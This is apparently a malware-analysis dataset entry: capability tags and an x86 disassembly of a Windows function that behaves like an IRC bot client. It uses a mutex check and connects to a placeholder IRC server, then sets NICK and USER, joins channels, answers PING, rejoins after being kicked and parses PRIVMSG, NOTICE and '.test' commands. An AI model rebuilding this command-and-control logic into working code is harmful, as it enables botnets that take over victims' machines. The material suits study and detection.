Function at 0x4010aa
Capabilities:
Act as tcp client
Check mutex on windows
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x401b3a
sub esp, 0x4a4
mov eax, dword [0x40a110]
xor eax, esp
mov dword [esp + 0x4a0], eax
push ebp
push str.mutex
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401b85
mov ecx, dword [esp + 0x4a4]
xor eax, eax
pop ebp
xor ecx, esp
call fcn.004010f5
add esp, 0x4a4
ret 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push 1
call sub.WS2_32.dll_WSAStartup
push str.irc.example.com
call fcn.0040114a
pop ecx
push eax
call sub.WS2_32.dll_inet_addr
push 2
mov dword [esp + 0xc], eax
pop eax
mov word [esp + 4], ax
movzx eax, word [0x40a074]
push eax
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [esp + 0x12], ax
pop eax
push eax
call sub.WS2_32.dll_socket
push 0x10
lea ecx, [esp + 8]
mov dword [0x40a490], eax
push ecx
push eax
call sub.WS2_32.dll_connect
test eax, eax
je 0x401c05
call fcn.00401276
call sub.WS2_32.dll_WSACleanup
push dword [0x40a490]
call sub.WS2_32.dll_closesocket
jmp 0x401b85
push ebp
push 0x80
push 3
push ebp
push 1
push closesocket
push str.new.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 8
cmp eax, 0xffffffff
jne 0x401c74
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__N__s_n
push eax
call fcn.004012ad
add esp, 0x10
push ebp
push 0x80
push 2
pop eax
push eax
push ebp
push eax
push 0x40000000
push str.new.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401c6a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c8f
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__s_n
push eax
call fcn.004012ad
add esp, 0x10
lea ecx, [esp + 0x1a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c99
push ebp
sub ecx, edx
lea eax, [esp + 0x1a8]
push ecx
push eax
push dword [0x40a490]
call sub.WS2_32.dll_send
push str.TMR_TMR_TMR_:TMR
lea eax, [esp + 0x1a8]
push str.USER__s_n
push eax
call fcn.004012ad
lea ecx, [esp + 0x1b0]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401cdb
push ebp
sub ecx, edx
lea eax, [esp + 0x1a8]
push ecx
push eax
push dword [0x40a490]
call sub.WS2_32.dll_send
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1a4]
push str.JOIN_testing_n
push eax
call fcn.004012ad
pop ecx
pop ecx
lea ecx, [esp + 0x1a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d22
lea eax, [esp + 0x1a4]
jmp 0x401e52
lea eax, [esp + 0x1a4]
push str.PING_:
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
test eax, eax
lea eax, [esp + 0x1a8]
pop ecx
je 0x401d8e
push str.PING_:
push eax
call sub.VCRUNTIME140.dll_strstr
add eax, 6
push eax
lea eax, [esp + 0x3b0]
push str.PONG_:_s_n
push eax
call fcn.004012ad
lea ecx, [esp + 0x3b8]
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d82
jmp 0x401e4b
push 0x407c4c
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401dcf
push 8
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__s_n
push eax
call fcn.004012ad
lea ecx, [esp + 0x3b4]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401dc6
jmp 0x401e4b
lea eax, [esp + 0x1a4]
push 0x407c50
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401e0e
lea eax, [esp + 0x3a4]
push str.JOIN_deneme2_n
push eax
call fcn.004012ad
pop ecx
pop ecx
lea ecx, [esp + 0x3a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e05
jmp 0x401e4b
lea eax, [esp + 0x1a4]
push str.KICK
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401e64
lea eax, [esp + 0x3a4]
push str.JOIN_deneme2_n
push eax
call fcn.004012ad
pop ecx
pop ecx
lea ecx, [esp + 0x3a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e44
lea eax, [esp + 0x3a4]
push ebp
sub ecx, edx
push ecx
push eax
push dword [0x40a490]
call sub.WS2_32.dll_send
jmp 0x401ec1
lea eax, [esp + 0x1a4]
push str..test
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401e83
call fcn.004011cc
jmp 0x401ec1
lea eax, [esp + 0x1a4]
push str.PRIVMSG
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x401eb3
lea eax, [esp + 0x1a4]
push str.NOTICE
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401ec1
lea eax, [esp + 0x1a4]
push eax
call fcn.0040114f
pop ecx
push 0x200
lea eax, [esp + 0x1a8]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1a4]
push ebp
push 0x1ff
push eax
push dword [0x40a490]
call sub.WS2_32.dll_recv
test eax, eax
jg 0x401d35
jmp 0x401bf3